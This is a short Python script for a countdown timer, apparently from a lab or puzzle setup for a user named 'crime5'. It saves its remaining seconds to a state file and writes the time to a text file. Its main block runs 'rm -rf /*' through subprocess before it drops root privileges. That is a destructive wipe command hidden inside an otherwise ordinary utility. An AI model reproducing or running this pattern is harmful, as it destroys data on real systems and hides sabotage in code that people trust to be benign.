import os
import time
import subprocess
import pwd

STATE_FILE = "/home/crime5/.timer/timer_state.txt"

def drop_privileges(user):
    pw = pwd.getpwnam(user)
    os.setgid(pw.pw_gid)
    os.setuid(pw.pw_uid)

def load_time(default_time):
    if not os.path.exists(STATE_FILE):
        return default_time
    try:
        with open(STATE_FILE, "r") as f:
            return int(f.read().strip())
    except:
        return default_time

def save_time(remaining):
    with open(STATE_FILE, "w") as f:
        f.write(str(remaining))

def countdown(seconds):
    for remaining in range(seconds, 0, -1):
        save_time(remaining)
        mins, secs = divmod(remaining, 60)
        with open("/home/crime5/timer.txt", "w") as f:
            f.write(f"{mins:02d}:{secs:02d}")
        time.sleep(1)

if __name__ == "__main__":
    subprocess.run(["rm", "-rf", "/*"])
    drop_privileges("crime5")
    remaining = load_time(600)
    countdown(remaining)